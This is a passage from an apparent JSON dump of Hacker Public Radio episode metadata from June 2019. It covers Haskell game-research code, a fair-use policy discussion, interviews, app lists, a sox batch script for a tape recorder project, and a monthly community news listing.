                                                            Research points are produced by buildings. So first step is to load all planets owned by the faction and buildings on those planets. Applying researchOutput function to each building yields a list of TotalResearchScore, which is then summed up by mconcat. We can use mconcat as TotalResearchScore is a monoid (I talked about these couple episodes ago).

                                                            \n
                                                            totalProduction fId = do\n    pnbs <- factionBuildings fId\n    let buildings = join $ fmap snd pnbs\n    return $ mconcat $ researchOutput . entityVal <$> buildings
                                                            \n

                                                            researchOutput function below uses pattern matching. Instead of writing one function definition and case expression inside of it, we’re writing multiple definitions. Each of them matches building of different type. First example is definition that is used for ResearchComplex, while second one is for ParticleAccelerator. Final case uses underscore to match anything and indicate that we’re not even interested on the particular value being matched. mempty is again from our monoid definition. It is empty or unit value of monoid, which in case of TotalResearchScore is zero points in all research categories.

                                                            \n
                                                            researchOutput Building { buildingType = ResearchComplex } =\n    TotalResearchScore\n    { totalResearchScoreEngineering = ResearchScore 10\n    , totalResearchScoreNatural = ResearchScore 10\n    , totalResearchScoreSocial = ResearchScore 10\n    }\n\nresearchOutput Building { buildingType = ParticleAccelerator } =\n    TotalResearchScore\n    { totalResearchScoreEngineering = ResearchScore 15\n    , totalResearchScoreNatural = ResearchScore 15\n    , totalResearchScoreSocial = ResearchScore 0\n    }\n\nresearchOutput _ = mempty
                                                            \n

                                                            Updating progress

                                                            \n

                                                            Moving research forward is more complex looking function. There’s bunch of filtering and case expressions going on, but the idea is hopefully clear after a bit of explanation.

                                                            \n

                                                            updateProgress takes two parameters, total production of research points and current research that is being modified. This assumes that there are only one of each categories of research going on at any given time. If there were more, we would have to divide research points between them by some logic. Function calculates effect of research points on current research and produces a new current research that is the end result.

                                                            \n

                                                            Perhaps the most interesting part is use of lenses. For example, line entityValL . currentResearchProgressL +~ engResearch $ curr means that curr (which is Entity CurrentResearch) is used as starting point. First we reach to data part of Entity and then we focus on currentResearchProgress and add engResearch to it. This results a completely new Entity CurrentResearch being constructed, which is otherwise identical with the original, but the currentResearchProgress has been modified. Without lenses we would have to do this destructuring and restructuring manually.

                                                            \n
                                                            updateProgress :: TotalResearchScore ResearchProduction -> Entity CurrentResearch -> Entity CurrentResearch\nupdateProgress prod curr =\n    case researchCategory <$> research of\n        Just (Engineering _) ->\n            entityValL . currentResearchProgressL +~ engResearch $ curr\n\n        Just (NaturalScience _) ->\n            entityValL . currentResearchProgressL +~ natResearch $ curr\n\n        Just (SocialScience _) ->\n            entityValL . currentResearchProgressL +~ socResearch $ curr\n\n        Nothing ->\n            curr\n    where\n        research = Map.lookup (currentResearchType . entityVal $ curr) techMap\n        engResearch = unResearchScore $ totalResearchScoreEngineering prod\n        natResearch = unResearchScore $ totalResearchScoreNatural prod\n        socResearch = unResearchScore $ totalResearchScoreSocial prod
                                                            \n

                                                            Writing unfinished research back to database is short function. First we find ones that hasn’t been finished by filtering with (not . researchReady . entityVal) and then we apply replace to write them back one by one.

                                                            \n
                                                            updateUnfinished updated = do\n    let unfinished = filter (not . researchReady . entityVal) updated\n    mapM (\\x -> replace (entityKey x) (entityVal x)) unfinished
                                                            \n

                                                            Handling finished research starts by finding out which ones were actually completed by filtering with (researchReady . entityVal) and their research type with currentResearchType . entityVal. Rest of the function is all about database actions: creating entries into completed_research and adding news entries for each completed research, then removing entries from current_research and available_research.

                                                            \n
                                                            handleCompleted date updated fId = do\n    let finished = filter (researchReady . entityVal) updated\n    let finishedTech = currentResearchType . entityVal <$> finished\n    insertMany_ $ currentToCompleted date . entityVal <$> finished\n    insertMany_ $ researchCompleted date fId . (currentResearchType . entityVal) <$> finished\n    deleteWhere [ CurrentResearchId <-. fmap entityKey finished ]\n    deleteWhere [ AvailableResearchType <-. finishedTech\n                , AvailableResearchFactionId ==. fId ]
                                                            \n

                                                            Available research

                                                            \n

                                                            Figuring out what researches will be available for the next turn takes several steps. I won’t be covering random numbers in detail, they’re interesting enough for an episode on their own. It’s enough to know that g <- liftIO getStdGen gets us a new random number generator that is seeded by current time.

                                                            \n

                                                            updateAvailableResearch starts by loading available research and current research for the faction and initializing a new random number generator. g can be used multiple times, but it’ll always return same sequence of numbers. Here it doesn’t matter, but in some cases it might. getR is helper function I wrote that uses random number generator to pick n entries from a given list. n in our case is hard coded to 3, but later on I’ll add possibility for player to research technologies that raise this limit. newAvailableResearch (we’ll look into its implementation closer just in a bit) produces a list of available research for specific research category. These lists are combined with <> operator and written into database with rewriteAvailableResearch.

                                                            \n
                                                            updateAvailableResearch fId = do\n    available <- selectList [ AvailableResearchFactionId ==. fId ] []\n    completed <- selectList [ CompletedResearchFactionId ==. fId ] []\n    g <- liftIO getStdGen\n    let maxAvailable = ResearchLimit 3\n    -- reusing same g should not have adverse effect here\n    let engCand = getR g (unResearchLimit maxAvailable) $ newAvailableResearch isEngineering maxAvailable available completed\n    let natCand = getR g (unResearchLimit maxAvailable) $ newAvailableResearch isNaturalScience maxAvailable available completed\n    let socCand = getR g (unResearchLimit maxAvailable) $ newAvailableResearch isSocialScience maxAvailable available completed\n    rewriteAvailableResearch fId $ engCand <> natCand <> socCand
                                                            \n

                                                            newAvailableResearch is in charge of figuring out what, if any, new research should be available in the next turn. In case where amount of currently available research is same or greater than research limit, empty list is returned, otherwise function calculates candidates and returns them. Logic for that is following:

                                                            \n
                                                              \n
                                                            • candidates are research of specific category of those that has been unlock and unresearched
                                                            • \n
                                                            • unlocked and unresearched are unlocked ones that are in list of known technology
                                                            • \n
                                                            • unlocked research are ones with antecedents available in tech tree
                                                            • \n
                                                            • known technology are ones in list of completed research
                                                            • \n
                                                            \n

                                                            and complete definition of the function is shown below:

                                                            \n
                                                            newAvailableResearch selector limit available completed =\n    if ResearchLimit (length specificCategory) >= limit\n        then []\n        else candidates\n    where\n        specificCategory = filter (availableResearchFilter selector) available\n        candidates = filter (selector . researchCategory) unlockedAndUnresearched\n        unlockedAndUnresearched = filter (\\x -> researchType x `notElem` knownTech) unlockedResearch\n        unlockedResearch = filter (antecedentsAvailable knownTech) $ unTechTree techTree\n        knownTech = completedResearchType . entityVal <$> completed\n\n\navailableResearchFilter f x =\n    maybe False (f . researchCategory) res\n    where\n        res = Map.lookup (availableResearchType $ entityVal x) techMap
                                                            \n

                                                            Final step of the simulation of research is to update database with new available research. mkUniq is helper function that removes duplicate elements from a list. It’s used in rewriteAvailableResearch function to make a list that contains all unique top research categories (engineering, natural sciences and social sciences). If the resulting list isn’t empty, we’ll use it to remove all available research for those top categories and insert new available research.

                                                            \n
                                                            rewriteAvailableResearch fId res = do\n    let cats = mkUniq $ fmap (topCategory . researchCategory) res\n    unless (null cats) $ do\n        deleteWhere [ AvailableResearchFactionId ==. fId\n                    , AvailableResearchCategory <-. cats ]\n        insertMany_ $ researchToAvailable fId <$> res
                                                            \n

                                                            Now everything is ready for next round of simulation.

                                                            \n","hostid":364,"series":107,"explicit":0,"license":"CC-BY-SA","tags":"haskell","version":0,"downloads":0,"valid":1}, {"id":2829,"date":"2019-06-06","title":"Discussion around fair use clips on HPR","duration":1391,"summary":"A request for comments on not publishing clips with known fair use samples","notes":"

                                                            Request for comments

                                                            \n

                                                            Hi All,

                                                            \n

                                                            Under safe harbor provisions, we as volunteers are usually insulated from any copyright issues that may arise in the shows. \"We do not vet, edit, moderate or in any way censor any of the shows on the network, we trust you to do that.\"

                                                            \n

                                                            This we got by accident because \"This is a long standing tradition arising from the fact that HPR is a community of peers who believe that any host has as much right to submit shows as any other.\"

                                                            \n

                                                            In the show notes associated with hpr2829 on 2019-06-06, the host included the following text \"For all included materials: If anyone feels they have right to any material in this show please let me know and I will comply.\"

                                                            \n

                                                            This violates the HPR upload policy.

                                                            \n

                                                            \"Never include content, for example music, in your show that you do not have permission to redistribute. Try to avoid using any content in your show that can not be redistributed under a Creative Commons Attribution-ShareAlike 3.0 Unported license. If you are redistributing under another Creative Commons License or by arranged permission please make note of the restrictions when you upload your show. We can then signal that, so that others who redistribute HPR content can filter your show out.\"

                                                            \n

                                                            As it was clear that they were not in compliance, I contacted the host. The host has been very helpful and has already removed some of the content but commented \"There are still 2 audio clips included. I claim I can use them on the basis off fair use principles.\"

                                                            \n

                                                            While the host may be correct, if they are not, then it is me and not the host that will be held responsible for posting it. I do not want that responsibility.

                                                            \n

                                                            Under the current HPR rules I am allowed to reject this submission.

                                                            \n

                                                            Before I do, I would appreciate as much feedback as possible on this topic so that we can gauge the opinions of the HPR Community as a whole.

                                                            \n

                                                            Regards,

                                                            \n

                                                            Ken.

                                                            \n\n

                                                            The discussion thread remains open and is open to all by joining the Maillist.

                                                            ","hostid":109,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"HPR, Policy Change, Legal, DMCA, TWAT, Fair Use, PacketSniffers, Copyright","version":0,"downloads":0,"valid":1}, {"id":2830,"date":"2019-06-07","title":"2018-2019 New Years Eve show part 1","duration":12194,"summary":"The HPR community comes together to say happy new year and chat","notes":"

                                                            Hacker Public Radio New Years Show episode 1

                                                            \n

                                                            Welcome to the 7th Annual Hacker Public Radio show. It is December the 31st 2018 and the time is 10 hundred hours UTC.

                                                            \n\n

                                                            \"we should have bought stock\"

                                                            \n\n","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"hpr nye, new years eve, community","version":0,"downloads":0,"valid":1}, {"id":2831,"date":"2019-06-10","title":"Interview with Robbie Ferguson","duration":2347,"summary":"In this episode, Yannick talks with Robbie Ferguson about the Nagios Enterprise Monitoring System","notes":"

                                                            When it comes to monitoring your network, and the machines on it, you have a lot of options. But, let’s face it : none of those are easy to implement, and configuring a monitoring tool, whether it’s an open-source or a proprietary one, is often complex and time consuming.

                                                            \n

                                                            Well, someone took that matter into their own hands, and made NEMS. What is NEMS, how can it help us, and what infrastructure does it require? Those are a few of the questions I asked Robbie Ferguson, the maintainer of NEMS, who joined me on Easter week-end for a little chat.

                                                            \n

                                                            Links

                                                            \n\n","hostid":370,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"nagios,network,monitoring,opensource,single board computer,sbc,raspberrypi,odroid","version":0,"downloads":0,"valid":1}, {"id":2832,"date":"2019-06-11","title":"How I got started in Linux","duration":168,"summary":"This is a very brief introduction on what got me into using Linux.","notes":"

                                                            This is just a brief intro into my introduction to Linux.

                                                            \n","hostid":378,"series":29,"explicit":0,"license":"CC-BY-SA","tags":"linux, introduction","version":0,"downloads":0,"valid":1}, {"id":2833,"date":"2019-06-12","title":"Jeroen chats with Joep Piscaer","duration":1176,"summary":"Interviewing Joep Piscaer during Loadays in Antwerpen, Belgium","notes":"

                                                            In this show an Interview with Joep Piscaer, recorded during the recent Loadays conference in Antwerpen, Belgium.

                                                            \n

                                                            Schedule of recent Loadays event: https://cfp.loadays.org/2019/schedule/

                                                            \n

                                                            I mention the \"Cut the crap podcast\", made by Ryan Caligiuri.

                                                            \n

                                                            And specifically episode 145 as an excellent example of his podcast quality:

                                                            \n

                                                            https://player.fm/series/the-cut-the-crap-show/ep-145-stronger-develop-the-resilience-you-need-to-succeed-with-dr-george-everly

                                                            \n

                                                            At the end of the podcast I a refer to the \"Follow your Gift\" talk, by Steve Harvey.

                                                            \n

                                                            You can find a recording of this talk on YouTube at https://www.youtube.com/watch?v=3x3rEg2qvcQ

                                                            \n\n","hostid":369,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"loadays, ryan caligiuri, steve harvey","version":0,"downloads":0,"valid":1}, {"id":2834,"date":"2019-06-13","title":"My favorite desktop and android applications","duration":1757,"summary":"Moving right along with shows from the requests list, I combine two program lists.","notes":"

                                                            Desktop:

                                                            \n
                                                              \n
                                                            • xfce4-terminal
                                                            • \n
                                                            • globaltime (orage)
                                                            • \n
                                                            • xfce4 notes
                                                            • \n
                                                            • thunar
                                                            • \n
                                                            • firefox
                                                            • \n
                                                            • Emacs
                                                            • \n
                                                            • claws-mail
                                                            • \n
                                                            • weechat
                                                            • \n
                                                            • mupdf
                                                            • \n
                                                            • gtk-redshift
                                                            • \n
                                                            • asunder
                                                            • \n
                                                            • keepassx
                                                            • \n
                                                            • lucky backup
                                                            • \n
                                                            • virtualbox/kvm
                                                            • \n
                                                            • xlog
                                                            • \n
                                                            • gpredict
                                                            • \n
                                                            • arduino ide
                                                            • \n
                                                            • tor browser bundle
                                                            • \n
                                                            • ledger wallet
                                                            • \n
                                                            • xmame
                                                            • \n
                                                            • freedoom
                                                            • \n
                                                            • rRootage
                                                            • \n
                                                            • dia
                                                            • \n
                                                            • fbreader
                                                            • \n
                                                            • gnumeric/libreoffice
                                                            • \n
                                                            • mandelbulber2
                                                            • \n
                                                            • gqrx
                                                            • \n
                                                            • transmission
                                                            • \n
                                                            • xastir
                                                            • \n
                                                            • youtube-dl gui
                                                            • \n
                                                            • zenmap
                                                            • \n
                                                            • mpv
                                                            • \n
                                                            \n

                                                            Android

                                                            \n
                                                              \n
                                                            • LineageOS
                                                            • \n
                                                            • built in phone
                                                            • \n
                                                            • signal
                                                            • \n
                                                            • built in fm radio
                                                            • \n
                                                            • built in camera
                                                            • \n
                                                            • 2048
                                                            • \n
                                                            • acrylic paint
                                                            • \n
                                                            • amsatdroid free
                                                            • \n
                                                            • antennapod
                                                            • \n
                                                            • aprsdroid
                                                            • \n
                                                            • audiofx
                                                            • \n
                                                            • barcode scanner
                                                            • \n
                                                            • binaural beats
                                                            • \n
                                                            • blockinger
                                                            • \n
                                                            • blowtorch
                                                            • \n
                                                            • built in calendar
                                                            • \n
                                                            • call recorder
                                                            • \n
                                                            • chroma doze
                                                            • \n
                                                            • built in clock
                                                            • \n
                                                            • cloudlibrary
                                                            • \n
                                                            • built in contacts
                                                            • \n
                                                            • danmaku death
                                                            • \n
                                                            • echolink
                                                            • \n
                                                            • equate
                                                            • \n
                                                            • f-droid
                                                            • \n
                                                            • fbreader
                                                            • \n
                                                            • fennec f-droid
                                                            • \n
                                                            • red cross first aid
                                                            • \n
                                                            • flashlight
                                                            • \n
                                                            • freegal music
                                                            • \n
                                                            • gadgetbridge
                                                            • \n
                                                            • built in gallery
                                                            • \n
                                                            • ghost commander
                                                            • \n
                                                            • gobandroid
                                                            • \n
                                                            • hoopla
                                                            • \n
                                                            • iz2uuf morse code trainer
                                                            • \n
                                                            • libby
                                                            • \n
                                                            • lightning
                                                            • \n
                                                            • mobilinkd tnc
                                                            • \n
                                                            • mupdf
                                                            • \n
                                                            • netguard
                                                            • \n
                                                            • o’reilly
                                                            • \n
                                                            • orbot, orfox
                                                            • \n
                                                            • osmand~
                                                            • \n
                                                            • red cross pet first aid
                                                            • \n
                                                            • plumble
                                                            • \n
                                                            • propel graviton
                                                            • \n
                                                            • radiodroid (radio-browser.info)
                                                            • \n
                                                            • recorder
                                                            • \n
                                                            • roblox
                                                            • \n
                                                            • rpn
                                                            • \n
                                                            • sealnote
                                                            • \n
                                                            • sim card
                                                            • \n
                                                            • simple world clock
                                                            • \n
                                                            • space trader
                                                            • \n
                                                            • spotify
                                                            • \n
                                                            • suntimes, suntimes alarms
                                                            • \n
                                                            • survival manual
                                                            • \n
                                                            • termux
                                                            • \n
                                                            • timber
                                                            • \n
                                                            • tsumego pro
                                                            • \n
                                                            • ttrss-reader
                                                            • \n
                                                            • unifi
                                                            • \n
                                                            • vlc
                                                            • \n
                                                            • webtube
                                                            • \n
                                                            • weechat-android
                                                            • \n
                                                            • wifianalyzer
                                                            • \n
                                                            • wikipedia
                                                            • \n
                                                            • yalp store
                                                            • \n
                                                            • yorecast
                                                            • \n
                                                            \n","hostid":241,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"programs, linux, android, apps, applications, lists, favorites","version":0,"downloads":0,"valid":1}, {"id":2835,"date":"2019-06-14","title":"2018-2019 New Years Eve show part 2","duration":9088,"summary":"The HPR community comes together to say happy new year and chat","notes":"

                                                            Hacker Public Radio New Years Show episode 2

                                                            \n\n","hostid":159,"series":121,"explicit":0,"license":"CC-BY-SA","tags":"HPR new years show, new years, community","version":0,"downloads":0,"valid":1}, {"id":2836,"date":"2019-06-17","title":"Interview with Wendy Hill","duration":1576,"summary":"In this episode, Yannick talks with Wendy Hill about her use of opensource software in her job","notes":"

                                                            Wendy Hill is a photographer. And by that, I don’t mean she takes pictures of her kids on Sundays at the baseball game. Although, if she was to do that, it would probably turn out to be great pictures. No, Wendy is a professional photographer, and to run her business, she uses free and opensource software.

                                                            \n

                                                            Wait… no Photoshop? No Illustrator? How is that possible? Wendy joined me on Mumble earlier this year – that’s 2019 for you, visitors from the future – and we discussed about that.

                                                            \n

                                                            Links

                                                            \n\n","hostid":370,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"opensource,photography,lubuntu,darktable,Rapid Photo Downloader,displaycal,gimp","version":0,"downloads":0,"valid":1}, {"id":2837,"date":"2019-06-18","title":"parallax live desktops in android","duration":1040,"summary":"Parallax_Wallpaper, mouse gigglers, system d Youtube background play and more ! ","notes":"

                                                            parallax live desktops in android

                                                            \n\n","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"youtube downloader,systemd,linux,autohotkey","version":0,"downloads":0,"valid":1}, {"id":2838,"date":"2019-06-19","title":"Why Haskell?","duration":1900,"summary":"Tuula tries to answer Beeza's question on why would someone want to use Haskell","notes":"

                                                            I got really good comment on episode 2778 - Functor and applicative in Haskell from Beeza that I’m including below:

                                                            \n
                                                            \n

                                                            I’ve been writing software for over 30 years but I find the syntax of Haskell anything but intuitive - in fact less so than any other programming language I have looked at. Thanks to your excellent show notes I can make sense of it but I have to say I would not like to have to develop a project using this language.

                                                            \n
                                                            \n
                                                            \n

                                                            Obviously I am missing the point as nobody would design a language with the intention of its being difficult to use. Perhaps you could produce another episode addressing the question “Why Haskell?”

                                                            \n
                                                            \n

                                                            In this episode, I’m trying to answer to that from my point of view.

                                                            \n","hostid":364,"series":107,"explicit":0,"license":"CC-BY-SA","tags":"haskell, response","version":0,"downloads":0,"valid":1}, {"id":2839,"date":"2019-06-20","title":"Sample episode of the Distrohoppers Digest podcast","duration":2231,"summary":"We bring you the first episode of the new Creative Commons show the Distrohoppers Digest","notes":"

                                                            \nThis is a sample episode of the new Creative Commons tech podcast. It's brought to us by Moss and our own Tony Hughes. From the blurb:\n

                                                            \n\n\nWe are two Blokes who love Linux and trying out new stuff, we thought it would be interesting to share our experience of trying new Linux and BSD distributions and how we found it trying to live with them as our daily driver for up to a Month at a time, by recording a podcast about how we got on.\n\n\n

                                                            Links

                                                            \n","hostid":30,"series":0,"explicit":0,"license":"CC-BY-NC-SA","tags":"Distrohoppers Digest, mintCast, linux, bsd","version":0,"downloads":0,"valid":1}, {"id":2840,"date":"2019-06-21","title":"2018-2019 New Years Eve show part 3","duration":7293,"summary":"The HPR community comes together to say happy new year and chat","notes":"

                                                            Hacker Public Radio New Years Show episode 3

                                                            \n

                                                            Welcome to the 7th Annual Hacker Public Radio New Years Show. 2018-2019

                                                            \n\n","hostid":159,"series":121,"explicit":0,"license":"CC-BY-SA","tags":"HPR new years show, new years, community","version":0,"downloads":0,"valid":1}, {"id":2841,"date":"2019-06-24","title":"How I got into Linux (and then some...)","duration":1864,"summary":"A response to the request for \"how i got into linux\" and a little of my history with Linux/BSD","notes":"

                                                            Basically what it says on the tin. Most distros I mention can be easily searched for. I meander through a discussion of how I got into Linux and where I am with it now.

                                                            ","hostid":241,"series":29,"explicit":0,"license":"CC-BY-SA","tags":"linux, intro, story, discourse, bsd","version":0,"downloads":0,"valid":1}, {"id":2842,"date":"2019-06-25","title":"What's in my Bag an update to hpr2065","duration":225,"summary":"This is a short update show on what I carry in my Geek Bag","notes":"

                                                            Hello HPR land, this is Tony Hughes again coming to you from Blackpool in the UK.

                                                            \n

                                                            During my last episode, which was my 50th for HPR, I realized that my ‘Bag’ has changed considerably since recording my episode hpr2065 about it back in July 2016. So this is an update on what I currently carry in my ‘Geek’ Bag when out and about.

                                                            \n

                                                            I have several laptops which are used for different things at different times so may or may not be in the bag/bags depending on what I am doing. This is the list:

                                                            \n
                                                              \n
                                                            • Lenovo X230i
                                                            • \n
                                                            • Toshiba z30
                                                            • \n
                                                            • Dells E6220 x 2, E7250, E7440 and E6540
                                                            • \n
                                                            \n

                                                            Recently I have moved more to Dell laptops and the Dell E7440 is a great compromise of portability and usability with its 14" 1080p screen, but if I want light and long battery life the Toshiba z30 is a fantastic little PC with all day battery life and a great 13.3" screen.

                                                            \n

                                                            But all the others have their place in the bag, for demonstrating Linux Distros at events or at my LUG.

                                                            \n

                                                            So the next thing that makes it into the bag is my ZoomH2 recorder that goes with me for recording interviews at events I attend, with the intention of producing HPR shows.

                                                            \n

                                                            I also have some tools, the first is a little set of a screwdriver and small driver bits made by Draper this is handy for laptop tear downs as it has all the necessary bit heads needed to work on electronics. I also carry a small set of pliers and a wire cutter in the bag.

                                                            \n

                                                            I also carry a 10000mA battery pack for charging my mobile phone if needed while out and about. In conjunction with this a I carry several micro USB charging cables and a USB C cable for the increasing number of USB C devices around these days.

                                                            \n

                                                            In the bag are also a couple of 128Gb SSD’s as spares for quick swap outs, if I don’t want to wipe a drive but wish to test a new OS, or for those times the only solution to helping someone rescue an older laptop is to stick an SSD into it.

                                                            \n

                                                            I generally carry my 1Tb portable USB3 HDD around with me as I store a large number of current Linux ISO files for burning to a flash drive to create boot discs. With that it goes without saying that I have a few spare flash drives in the bag for just this use. I also usually carry a few SD cards for creating Raspberry Pi images if needed.

                                                            \n

                                                            Other items include a USB WiFi card as a backup if I have a WiFi malfunction, or I’m working on a machine without its own WiFi card.

                                                            \n

                                                            Well that’s about it for what I’m currently carrying in my bag, but before I go a bit of sad news. Many of you have heard me talk of my latest bargains from the Computer Auction I have frequented since 2006. Well sadly NO MORE, Northern Realisations after 20 years of trading have closed their doors for the last time, so I need to find another source of cheap PC equipment. As they say: All good things come to an end.

                                                            \n

                                                            Well that’s it for this episode, this is Tony Hughes signing off for Hacker Public Radio.

                                                            \n\n","hostid":338,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Linux, PC's, Laptops, Geek Bag","version":0,"downloads":0,"valid":1}, {"id":2843,"date":"2019-06-26","title":"Afrikan Tähti (or Star of Africa)","duration":678,"summary":"Tuula talks about one of the most important Finnish board game ever","notes":"

                                                            For more information about the game and history behind it, have a look at the following links:

                                                            \n\n","hostid":364,"series":95,"explicit":0,"license":"CC-BY-SA","tags":"finnish, childhood favourite","version":0,"downloads":0,"valid":1}, {"id":2844,"date":"2019-06-27","title":"The Sony TC-222-A Portable Reel-To-Reel Tape Recorder","duration":1868,"summary":"I talk about my latest thrift-store gadget, a 1969 Sony portable reel-to-reel tape recorder","notes":"

                                                            In this episode I talk about my new 1969 Sony TC-222-A portable reel-to-reel tape recorder. I found it about 3 weeks ago at Hand-Up Thrift store in Lafayette Louisiana for $5. It was in partially working condition, without a power cord, and in need of some work. I cleaned the contact points, overhauled the fast-forward idler wheel, lubricated both of the tape shafts, replaced the belts, hacked an old electric razor cord to work as a power cord, and tightened up the record linkage. One thing I still can't get working is recording using the microphone.

                                                            \n\n

                                                            I spend about half of this episode talking about trying to make a super-long recording fit on a 5-inch reel and playing at 4.8 cm/second. I use Kimiko Ishizaka's wonderful Open Goldberg Variations and Open Well-Tempered Clavier as the music. To do this, I speeded up all of the tracks to play at 4x speed, for which I use the following script to loop through all mp3s in the current directory and subject them to the appropriate sox command:

                                                            \n\n
                                                            \n#!/bin/bash\n\nfor i in *.mp3; do\n# speed em up 4x\n  infile=$(basename $i)\n  stem=$(basename \"$i\" .mp3)\n  outfile=\"$stem\"_4x.mp3\n  sox $infile $outfile speed 4.0\n  sleep .1\ndone\n
                                                            \n\n

                                                            It worked! Well. The script and sox command worked. Recording the 4x-speed audio at 19 cm/second and then playing back at 4.8 cm/second also mostly worked, I just had a very poor-quality tape so it sounded pretty bad. The speed was just about right, though. In fact when I compared pitch against my piano, it was EXACTLY right. I may try again with a better tape. (BTW I said my tape was \"old new stock,\" but obviously I meant \"new old stock.\")

                                                            \n\n

                                                            Photo Album (click image)

                                                            \n\n

                                                            \"Sony

                                                            \n\n

                                                            Links

                                                            \n\n","hostid":238,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Music,Recording,Audio,Tape,Reel-To-Reel,Open-Reel,Recording Devices,Tape Speeds,Bash Scripting","version":0,"downloads":0,"valid":1}, {"id":2845,"date":"2019-06-28","title":"2018-2019 New Years Eve show part 4","duration":10265,"summary":"The HPR community comes together to say happy new year and chat","notes":"

                                                            Hacker Public Radio New Years Show episode 4

                                                            \n

                                                            Welcome to the 7th Annual Hacker Public Radio New Years Show. 2018-2019

                                                            \n\n","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"HPR new years show, new years, community","version":0,"downloads":0,"valid":1}, {"id":2846,"date":"2019-07-01","title":"HPR Community News for June 2019","duration":3364,"summary":"HPR Volunteers talk about shows released and comments posted in June 2019","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new host:
                                                            \n\n Shannon Wright.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            2826Mon2019-06-03HPR Community News for May 2019HPR Volunteers
                                                            2827Tue2019-06-04Unscripted ramblings from my garage about my first CTF eventChristopher M. Hobbs
                                                            2828Wed2019-06-05Writing Web Game in Haskell - Science, part 2Tuula
                                                            2829Thu2019-06-06Discussion around fair use clips on HPRVarious Hosts
                                                            2830Fri2019-06-07HPR NYE Show 2018-2019 part 1Honkeymagoo
                                                            2831Mon2019-06-10Interview with Robbie FergusonYannick
                                                            2832Tue2019-06-11How I got started in LinuxShannon Wright
                                                            2833Wed2019-06-12Jeroen chats with Joep PiscaerJeroen Baten
                                                            2834Thu2019-06-13My favorite desktop and android applicationsChristopher M. Hobbs
                                                            2835Fri2019-06-14HPR NYE Show 2018-2019 part 2Honkeymagoo
                                                            2836Mon2019-06-17Interview with Wendy HillYannick
                                                            2837Tue2019-06-18parallax live desktops in androidoperat0r
                                                            2838Wed2019-06-19Why Haskell?Tuula
                                                            2839Thu2019-06-20Sample episode of the Distrohoppers Digest podcastKen Fallon
                                                            2840Fri2019-06-21HPR NYE Show 2018-2019 part 3Honkeymagoo
                                                            2841Mon2019-06-24How I got into Linux (and then some...)Christopher M. Hobbs
                                                            2842Tue2019-06-25What's in my Bag an update to hpr2065Tony Hughes AKA TonyH1212
                                                            2843Wed2019-06-26Afrikan Tähti (or Star of Africa)Tuula
                                                            2844Thu2019-06-27The Sony TC-222-A Portable Reel-To-Reel Tape RecorderJon Kulp
                                                            2845Fri2019-06-28HPR NYE Show 2018-2019 part 4Honkeymagoo
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 19 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There is 1 comment on\n1 previous show:

                                                            \n
                                                              \n
                                                            • hpr2807\n(2019-05-07) \"Are bash local variables local?\"\nby clacke.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nDave Morriss on 2019-06-06:\n\"Thanks for this\"

                                                              \n
                                                            \n

                                                            This month's shows

                                                            \n

                                                            There are 18 comments on 8 of this month's shows:

                                                            \n
                                                            • hpr2827\n(2019-06-04) \"Unscripted ramblings from my garage about my first CTF event\"\nby Christopher M. Hobbs.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nChristopher M. Hobbs on 2019-05-30:\n\"event cancellation\"
                                                              • Comment 2:\nTuula on 2019-06-04:\n\"sorry to hear about cancellation\"

                                                              \n
                                                            • hpr2829\n(2019-06-06) \"Discussion around fair use clips on HPR\"\nby Various Hosts.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nJoel D on 2019-06-06:\n\"Fair Use\"
                                                              • Comment 2:\nKen Fallon on 2019-06-07:\n\"We don't know\"

                                                              \n
                                                            • hpr2830\n(2019-06-07) \"HPR NYE Show 2018-2019 part 1\"\nby Honkeymagoo.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nfolky on 2019-06-10:\n\"plumble is better than I thought.\"
                                                              • Comment 2:\nfolky on 2019-06-10:\n\"More %\"
                                                              • Comment 3:\nDave Morriss on 2019-06-10:\n\"Missing '%' in date command\"

                                                              \n
                                                            • hpr2831\n(2019-06-10) \"Interview with Robbie Ferguson\"\nby Yannick.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nMr. Young on 2019-06-10:\n\"Just what I was looking for\n\"

                                                              \n
                                                            • hpr2832\n(2019-06-11) \"How I got started in Linux\"\nby Shannon Wright.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nNYbill on 2019-06-11:\n\"Welcome!\"

                                                              \n
                                                            • hpr2833\n(2019-06-12) \"Jeroen chats with Joep Piscaer\"\nby Jeroen Baten.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nAhuka on 2019-06-14:\n\"Great show!\"

                                                              \n
                                                            • hpr2837\n(2019-06-18) \"parallax live desktops in android\"\nby operat0r.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nnorrist on 2019-06-18:\n\"I like this kind of episode.\"

                                                              \n
                                                            • hpr2839\n(2019-06-20) \"Sample episode of the Distrohoppers Digest podcast\"\nby Ken Fallon.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nMike Ray on 2019-06-20:\n\"Accessibility\"
